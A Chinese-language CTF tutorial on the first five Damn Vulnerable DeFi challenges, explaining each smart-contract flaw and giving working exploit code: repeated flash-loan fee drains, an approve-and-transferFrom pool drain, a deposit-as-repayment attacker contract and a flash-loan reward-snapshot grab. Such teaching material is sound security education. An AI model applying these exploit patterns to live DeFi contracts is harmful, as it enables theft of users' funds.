Damn Vulnerable DeFi Challenges
字数 1523 2025-08-18 11:36:53
Damn Vulnerable DeFi Challenges 教学文档
前言
本教学文档基于奇安信攻防社区的Damn Vulnerable DeFi挑战系列,旨在通过实践学习智能合约安全漏洞。建议使用Hardhat或Foundry开发环境,并预先了解以下内容:
- Hardhat基础使用
- Solidity智能合约安全与代码质量标准
- 常见智能合约漏洞及防范方法
- 基本JavaScript语法(用于与合约交互)
Challenge #1 - Unstoppable
挑战目标
使金库停止提供闪贷服务。
合约分析
UnstoppableVault.sol关键代码:
function flashLoan(...) external returns (bool) {
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
// ...其他代码
}
漏洞原理
balanceBefore通过totalAssets()获取,包含所有转入Vault的DVT代币convertToShares(totalSupply)计算已发行的oDVT代币对应的DVT数量- 正常情况下两者应相等(1:1兑换)
- 但直接调用
token.transfer转入代币会增加balanceBefore而不增加totalSupply
攻击方法
直接向Vault合约地址转账任意数量DVT代币:
await token.connect(player).transfer(vault.address, 1);
Challenge #2 - Naive Receiver
挑战目标
清空用户合约中的所有ETH(10 ETH),尽可能在一次交易中完成。
合约分析
NaiveReceiverLenderPool.sol关键代码:
function flashLoan(...) external returns (bool) {
// 固定收取1 ETH费用
if (address(this).balance < balanceBefore + FIXED_FEE) revert RepayFailed();
}
FlashLoanReceiver.sol关键代码:
function onFlashLoan(...) external returns (bytes32) {
// 不验证调用者身份
amountToBeRepaid = amount + fee; // 1 ETH固定费用
}
漏洞原理
- 闪电贷合约不验证调用者身份
- 任何人都可以为接收者合约发起闪电贷
- 每次闪电贷固定收取1 ETH费用
攻击方法
连续调用10次闪电贷(每次消耗1 ETH):
const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
await pool.connect(player).flashLoan(receiver.address, ETH, 0, "0x");
}
Challenge #3 - Truster
挑战目标
清空池子中的100万DVT代币,尽可能在一次交易中完成。
合约分析
TrusterLenderPool.sol关键代码:
function flashLoan(...) external nonReentrant returns (bool) {
token.transfer(borrower, amount);
target.functionCall(data); // 可以任意调用目标合约
// 仅检查余额是否减少
}
漏洞原理
functionCall允许以Pool身份调用任意合约- 可以构造
approve调用授权攻击者使用Pool的代币 - 之后通过
transferFrom转走代币
攻击方法
let interface = new ethers.utils.Interface(["function approve(address spender, uint256 amount)"]);
let data = interface.encodeFunctionData("approve", [player.address, TOKENS_IN_POOL]);
await pool.connect(player).flashLoan(0, player.address, token.address, data);
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
Challenge #4 - Side Entrance
挑战目标
从初始1000 ETH的池子中取出所有ETH,初始只有1 ETH余额。
合约分析
SideEntranceLenderPool.sol关键代码:
function flashLoan(uint256 amount) external {
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
// 仅检查余额是否减少
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
漏洞原理
- 闪电贷还款可以通过存款方式完成
- 存款会增加攻击者在合约中的余额
- 之后可以合法提取这些存款
攻击方法
// 攻击合约
contract SideEntranceHacker is IFlashLoanEtherReceiver {
function execute() external payable {
pool.deposit{value: 1000 ether}();
}
function exploit() external payable {
pool.flashLoan(1000 ether);
pool.withdraw();
payable(tx.origin).transfer(1000 ether);
}
}
Challenge #5 - The Rewarder
挑战目标
在没有DVT代币的情况下,在下一轮奖励分配中获得大部分奖励。
合约分析
关键合约:
FlashLoanerPool:提供DVT闪贷TheRewarderPool:每5天分配奖励AccountingToken:记录存款的快照代币RewardToken:奖励代币
漏洞原理
- 奖励基于快照时的存款比例分配
- 可以在新轮次开始时借入大量DVT并立即存款
- 获取快照后归还闪贷
攻击方法
- 等待新轮次开始
- 闪贷借入大量DVT
- 存入RewarderPool
- 触发奖励分配
- 提取存款并归还闪贷
// 攻击合约
contract RewarderAttacker {
function attack() external {
// 1. 借入闪贷
flashLoaner.flashLoan(TOKENS_IN_POOL);
// 在回调中:
// 2. 存入RewarderPool
rewarder.deposit(TOKENS_IN_POOL);
// 3. 领取奖励
rewarder.distributeRewards();
// 4. 提取存款
rewarder.withdraw(TOKENS_IN_POOL);
// 5. 归还闪贷
token.transfer(address(flashLoaner), TOKENS_IN_POOL);
}
function receiveFlashLoan(uint256 amount) external {
token.approve(address(rewarder), amount);
// 其他攻击步骤...
}
}
总结
这些挑战展示了DeFi中常见的安全问题:
- 状态验证不足(Unstoppable)
- 访问控制缺失(Naive Receiver)
- 任意调用风险(Truster)
- 业务逻辑绕过(Side Entrance)
- 闪电贷操纵协议状态(The Rewarder)
开发者应特别注意:
- 严格的状态验证
- 完善的访问控制
- 限制外部调用范围
- 防止业务逻辑被绕过
- 考虑闪电贷对协议的影响